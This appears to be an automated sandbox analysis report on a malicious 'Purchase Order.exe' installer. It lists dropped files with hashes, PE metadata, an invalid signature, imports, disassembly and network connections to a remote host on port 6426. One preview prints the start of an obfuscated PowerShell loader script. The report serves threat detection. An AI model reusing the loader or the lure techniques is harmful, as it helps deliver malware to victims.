	Form_W-9_Ver-083_030913350-67084228u8857-460102.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	13.107.137.11
	MSI.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	13.107.137.11

Process:	C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	5.001941246976737
Encrypted:	false
SSDEEP:	12:tk90nd6UGkMyGWKyGXPVGArwY3o/IomaoHNmGNArpv/mOAaNO+ao9W7iN5zzkw7T:qydVauKyGX85jrvXhNlT3/7sYDsro
MD5:	78C8B1980A44EC0056916F33798215A6
SHA1:	702E41B4FE247C110995FD536D130321A2F8A73B
SHA-256:	417ADAFBA3D3171CC83ABA06E8170014BEDD2952EF87C74621CB72FE39B6C9E4
SHA-512:	E82F0524E13FECC3DFD8D30CB9AD6C55B17F95924EC5AB15F8A6424411437A937AB0FE1D54993B1B07301EE7649A6344ED8C59B1C96997C01CB205DA32A80C09
Malicious:	false
Reputation:	low
Preview:	{. "geoplugin_request":"191.101.61.26",. "geoplugin_status":200,. "geoplugin_delay":"2ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Las Vegas",. "geoplugin_region":"Nevada",. "geoplugin_regionCode":"NV",. "geoplugin_regionName":"Nevada",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"839",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"36.1685",. "geoplugin_longitude":"-115.1164",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/Los_Angeles",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.838950934453595
Encrypted:	false
SSDEEP:	192:Dxoe5nVsm5emdiVFn3eGOVpN6K3bkkjo5agkjDt4iWN3yBGHB9smMdcU6CDpOeik:N+VoGIpN6KQkj2xkjh4iUxeLib4J
MD5:	4C24412D4F060F4632C0BD68CC9ECB54
SHA1:	3856F6E5CCFF8080EC0DBAC6C25DD8A5E18205DF
SHA-256:	411F07FE2630E87835E434D00DC55E581BA38ECA0C2025913FB80066B2FFF2CE
SHA-512:	6538B1A33BF4234E20D156A87C1D5A4D281EFD9A5670A97D61E3A4D0697D5FFE37493B490C2E68F0D9A1FD0A615D0B2729D170008B3C15FA1DD6CAADDE985A1C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$7o..z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$7o..z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	580232
Entropy (8bit):	7.278907180417852
Encrypted:	false
SSDEEP:	12288:ja+TesAUQUC4Mpx3Y1JbSd+xQgVN9pmdVepFq:28esAfUPGI1h3RHY8rq
MD5:	996CD1A4008E0FCA3750E9524BD13A9D
SHA1:	F202D20579BA03ACB804F651BF66E2AB47ADD4C8
SHA-256:	00473AE2A9E945343456D0193E1A5FE58C71776F42E747249A3C435B8CE7E1BB
SHA-512:	8B71BEB452CB4F03F6E9FC897EC1164F5EC8E547D3C6EE57AB5C07CCA22D5CD71371F8DEE45CB63E7BEC838DC4B30B34A187B5E81439B3E71553B35A71F9E7B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 8% Antivirus: Virustotal, Detection: 21%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L....c.W.................`...\|.......1.......p....@.......................................@.................................4u......................0...X............................................................p...............................text...._.......`.................. ..`.rdata..R....p.......d..............@..@.data....T...........x..............@....ndata...................................rsrc............ ...~..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe:Zone.Identifier

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5svqmygh.j3v.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gcqj3yz5.gkm.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\potentially\Avantgarders\Epilogic.bac

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with very long lines (54742), with no line terminators
Category:	dropped
Size (bytes):	54742
Entropy (8bit):	5.3420724390824335
Encrypted:	false
SSDEEP:	768:Zr3HLXpjUO3JeU2JLhAowJbUPrtzDuJ+DUn6fdq/NJik8Cd9aLrVwAtgCh4xMWYG:F3HFjzIhHwVUZDhDUn6Fckk8X9tLk5
MD5:	018320E11E60BB8E3984A6A7E0C4AA62
SHA1:	924A0B4842B51F8D33B5C3998CADC17A945EC395
SHA-256:	DBB582447B41B996AFC08D70E36632A91291EB6980C6B0B25D22B0AC6963AE94
SHA-512:	8F90013F22DACCB297681BD2280A441D3BE4F773749A6B41C12FECBC9CE0FB898C8FC446B83A717D4E74FE5E17D2D470E4AAA600150020D0C3A64FBDB3FDC174
Malicious:	true
Preview:	$Triumferne=$Sprgetid;<#Communicability Dzungar Hjernesvulsterne Knitren Ksnehandlen #><#Dotonidae Unsoothed Engsnarers #><#Indico unswooning Spagfrdigstes Epiplankton Biskoppeligt Provinsens #><#Resinbush Multicentric Fangotherapy Indersider Kistebunden undisputedness #><#Ledsag Haglike Aflokket #><#Landingens Kartoteksprogrammernes Regnearksprogrammets Renoveringerne enzymic #>$Acrestaff = "Quadr; ConfFStabbuCa,cinConducSupert DeroiynkenoThyrinNegat RuneVth,aze,dsknr StrabQuidaePaa.an.asplaMill lPolypiPreflnMispl Sejrs(Overd`$ReatiZMin aogendin KabeeunderimuddenS.aaed prindEnchaeChalllLysbaiinternBulksgRentae dolknMa,rosDomsf,Koord .ouri`$pyo eTBungar,talwsAtel,kTandkeEvolem JernaSatses Arm.k,iliai AntinT dddeByggerGaribnA.ndseAnbef No pr=Qui t Jagtu0,aang)Con,u{nonf,.,alku`$ArmstOSubarm ButtbcalatuHartvdFagted .neee Lengt,alut= Vice-In.ek4Bekmp0Typom8 Cata2Fores4Taag.+K.mpo4 Cerv0.haps8Speku2Subli6Grad,; Sk t Dolla Sorte Festu Terra`$R magSUnwaryPattasGder tUn oueUndermJuttasTempek

C:\Users\user\AppData\Local\potentially\Avantgarders\Forplejningers14.Wat

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	data
Category:	dropped
Size (bytes):	315171
Entropy (8bit):	7.745198370059857
Encrypted:	false
SSDEEP:	6144:lAn349ds/cjESEPhWlxjk2u0Rf6gVZJxap1+b4JU4Svm8wmW:lAn6d5jE7KQN0RbVZJO1Y/+8fW
MD5:	C1FBA61F3748F78794EC70903F7FFAEE
SHA1:	0E2C3A91817C8E947E9AE29C829FA032C9749555
SHA-256:	C2BD4688C907E952A30409CC0FE01BE992B9B3EB7A8E7482855E1704AEEBF8FC
SHA-512:	DFCBBD2A67D96AE8FA4BA3374880772F52C0B14CF80D1D2FF1E5609994146E3BB879E27366DB9C77DDEE67DED3070CDCB06C1A4303B99CB881566DF953410C71
Malicious:	false
Preview:	...//....7.............%.L......jj........................*...............a....55.(.......`.X.................. ...AAA...............0................AAAA...........X..........r.k..ZZZZ.....,,.......h...............\\.QQ......".DD...d................~~.u......h.XX.A.................v......XX........^^..W......................KKKKKKKKK.#..........22.VVVVV..............J....@@@...LL...........................rr......ggggg..............................[[[..DD..........................................W.........................q.....pppp......W........,,,,...CC.&&..........g...\|\|\|...............JJJ.........!!....ooo............................?..R.....O...................:............!!.../..4.U.........T...................&...........J.................''..@........]...LL....X...............~~......... ....&&&.......&&.......................F..........8................c.........s................(...QQQ...............;;...**.......VVV...........L................].................\........

C:\Users\user\AppData\Local\potentially\Avantgarders\pupfish.ope

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	data
Category:	dropped
Size (bytes):	323310
Entropy (8bit):	0.1590287823589042
Encrypted:	false
SSDEEP:	384:BJ+9Y0WGqEqiQ5th06IJhE5eFnOR8VuD9DtnNYzhF:G6b8Aq
MD5:	95E317BA14F87FBB97BC0DF53515A13E
SHA1:	E02E59691C7EB6223B8D44230B3A304BC913328C
SHA-256:	BD111067FBB3A820F40605AD6BC7A12362D49AA74DFE7F834CA374E94BDDC6AF
SHA-512:	BC23A4C81BFAB13032E9E5930AD12AA0C1F05D363219BFB56B966B2F040E6FD843585E416E1E70A2373B3D1C844155B06E6AD2FEBFD238193DD7BB1D04BFA424
Malicious:	false
Preview:	......................................................................................................................................................................................................................................................................................................................................................................................................................................................................./.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................h..........................................................

C:\Users\user\AppData\Local\potentially\Avantgarders\redeyes.skr

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	data
Category:	dropped
Size (bytes):	283572
Entropy (8bit):	0.15868574660676088
Encrypted:	false
SSDEEP:	384:0rGOeN3Ba/V0pYYikHg+zEuSpPzyFLnfyytTBt:W8aN0VBYprirR
MD5:	73FE342DC28D471033C8BAE7496862E4
SHA1:	2C9929F233A5677A41425E2F17893E76B4C2E166
SHA-256:	D90BF06CC1B915E36C02581F7BBB3B4BA29F86AA5FD657847AA6C4A17D764DDE
SHA-512:	9695030A3330DCAA69B3C6EF6C4C9D71B8711D3EE06FA712769E5B37AC14F1300A4DB2A3DD6ECEA328308ACED99D33B28BE79E33F1470A04B5E6BCCCF1BFDDD3
Malicious:	false
Preview:	..........................................................................................................................................................................................................................W..................................................................................................................................................................................*.....................R...................................................................................................................................................................................................................................................................................................................k.....................................................................................................................................................................................................m..........................................................................

C:\Users\user\AppData\Local\potentially\Avantgarders\shamefaced.sym

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	data
Category:	dropped
Size (bytes):	115812
Entropy (8bit):	0.15848441031298327
Encrypted:	false
SSDEEP:	48:lWhD2COv9WF02C4QVsAbMbymyOaWkkraIDrpAFpw+v:lWh2XelCxsAobMWkk2+pSpFv
MD5:	B137686867BBB8B14FD33FB386AE6B1B
SHA1:	C92A2EA50F6E56CD52380E49202DADFDA66CA4AA
SHA-256:	DB772C54087D43112B92C0A06D83DDA60F9A4626D6144229CE7A5AAB5CEFD1A6
SHA-512:	7FBBE4BFB4B24F1EAE0E4D2BF07A12CCDEFC8959AF08D85B88B350E5FA0F0DB85F1B3B457C5AB511BEC30975659FDF3332DFD4C23D661A3C47586B6DF7DFC22E
Malicious:	false
Preview:	.............................................................................................................................................x.r...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................5......................................................................o..........................................................................................................................................................................D..........................................................................................................................................

C:\Users\user\AppData\Local\potentially\Avantgarders\temperamented.txt

Process:	C:\Users\user\Desktop\Purchase Order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	379
Entropy (8bit):	4.273007664169869
Encrypted:	false
SSDEEP:	6:o4wKuOetVqxI9NBN2RGE7oL9VxZhGhuzXer5MmybqCkIhwHM+:P/uOetIxI9R2RviPZb7erBJCkWSj
MD5:	3013D03832E464117D1C632297416EC8
SHA1:	97B3B4BDD9D5ED938856A7302E113AB75F3E0592
SHA-256:	689DC1B4EB7F689FDF50574C78CDADDE2D77DD9F6CA02596DD46008D960A3BAA
SHA-512:	6F92BCD321EDAB62F030541C4F08359258C028223F2A30DDFB52322800425992C17571EB789CDAE4E7242ED784E3D14E4F9B5A55DFE5BD3E90BF12559AE273D9
Malicious:	false
Preview:	probere sydover cannabisens humpendes tupanship utriculariaceae..natbordsskuffers amortization clasped nonruinously rusgift sulphazotize ruinatious..ndsignaler unbeloved gruedes nonliteracy modefolkenes..sstjernerne runden scribbling frdselslreres pulverisers petara..snurrige overblow talker ferri statusoptllingen undeniableness,nonpaid mongreldom bundgarnenes gudruns sarcina.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.278907180417852
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Purchase Order.exe
File size:	580'232 bytes
MD5:	996cd1a4008e0fca3750e9524bd13a9d
SHA1:	f202d20579ba03acb804f651bf66e2ab47add4c8
SHA256:	00473ae2a9e945343456d0193e1a5fe58c71776f42e747249a3c435b8ce7e1bb
SHA512:	8b71beb452cb4f03f6e9fc897ec1164f5ec8e547d3c6ee57ab5c07cca22d5cd71371f8dee45cb63e7bec838dc4b30b34a187b5e81439b3e71553b35a71f9e7b2
SSDEEP:	12288:ja+TesAUQUC4Mpx3Y1JbSd+xQgVN9pmdVepFq:28esAfUPGI1h3RHY8rq
TLSH:	30C402F96B597916CB900B754873C6351232AD45AF704B0F2FE8B53A3BF10B78903A69
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L....c.W.................`...\|.....

File Icon


Icon Hash:	cf3144507064318f

Static PE Info

General

Entrypoint:	0x40310f
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5795639A [Mon Jul 25 00:55:54 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Bankdirektoer@Forbindsstoffers.Nu, O=Allegorisxur, OU="lampshell lossende Unvistaed ", CN=Allegorisxur, L=Harou\xe9, S=Grand Est, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	01/11/2023 04:33:53 31/10/2026 04:33:53
Subject Chain	E=Bankdirektoer@Forbindsstoffers.Nu, O=Allegorisxur, OU="lampshell lossende Unvistaed ", CN=Allegorisxur, L=Harou\xe9, S=Grand Est, C=FR
Version:	3
Thumbprint MD5:	BBCFE93B54A681175BE69A09168D3B9E
Thumbprint SHA-1:	248713EDBC6E4D4E717F3CDF8B01D51BFBCEB38F
Thumbprint SHA-256:	1F9293305E8A416424382F27ED18698557856AB70F1DAE171DC01B8A160E3354
Serial:	5F6701B5EE17D55029DA4372E8A98347A5966E5C

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F6C34561C93h
push ebx
call 00007F6C34564C01h
cmp eax, ebx
je 00007F6C34561C89h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F6C34564B7Dh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F6C34561C6Dh
push ebp
push 00000009h
call 00007F6C34564BD4h
push 00000007h
call 00007F6C34564BCDh
mov dword ptr [0042E404h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [0042E4B8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 00428828h
call dword ptr [00407174h]
push 00409188h
push 0042DC00h
call 00007F6C345647F7h
call dword ptr [0040709Ch]
mov ebp, 00434000h
push eax
push ebp
call 00007F6C345647E5h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7534	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x49000	0x31fa8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8d030	0xa58
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5fdd	0x6000	38462d04cfdbc4943d18be461d53cc3e	False	0.6783854166666666	data	6.499697507009752	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1352	0x1400	3d134ae5961af9895950a7ee0adc520a	False	0.4583984375	data	5.207538993430304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x254f8	0x600	2d00401e0c64d69b6d0ccb877d9f624e	False	0.4544270833333333	data	4.0323505938358934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2f000	0x1a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x49000	0x31fa8	0x32000	3d2d7fb4b8b6f96646c1ee96d192964d	False	0.4782080078125	data	5.276916225410081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x493b8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.30484739145865375
RT_ICON	0x59be0	0x9958	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9979366211534543
RT_ICON	0x63538	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.37352848433886904
RT_ICON	0x6c9e0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.38803142329020335
RT_ICON	0x71e68	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.3819674067076051
RT_ICON	0x76090	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4515560165975104
RT_ICON	0x78638	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4971857410881801
RT_ICON	0x796e0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5713114754098361
RT_ICON	0x7a068	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6312056737588653
RT_DIALOG	0x7a4d0	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x7a618	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x7a738	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x7a858	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x7a920	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x7a980	0x84	data	English	United States	0.7348484848484849
RT_VERSION	0x7aa08	0x25c	data	English	United States	0.5149006622516556
RT_MANIFEST	0x7ac68	0x33d	XML 1.0 document, ASCII text, with very long lines (829), with no line terminators	English	United States	0.5536791314837153

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2024 06:04:02.902920008 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:02.902965069 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:02.903043032 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:02.912241936 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:02.912257910 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:03.434931040 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:03.435121059 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:03.479645967 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:03.479669094 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:03.479898930 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:03.480335951 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:03.482693911 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:03.524121046 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:04.432444096 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:04.432513952 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:04.432519913 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:04.432557106 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:04.435972929 CEST	49713	443	192.168.2.5	13.107.137.11
May 13, 2024 06:04:04.436001062 CEST	443	49713	13.107.137.11	192.168.2.5
May 13, 2024 06:04:07.066996098 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:07.413810015 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:07.413924932 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:07.416974068 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:07.802228928 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:07.844105005 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:08.191034079 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:08.213608980 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:08.610280991 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:08.610366106 CEST	49715	6426	192.168.2.5	103.253.17.222
May 13, 2024 06:04:09.016627073 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:09.109905005 CEST	6426	49715	103.253.17.222	192.168.2.5
May 13, 2024 06:04:09.156639099 CEST	49715	6426	192.168.2.5	103.253.17.222
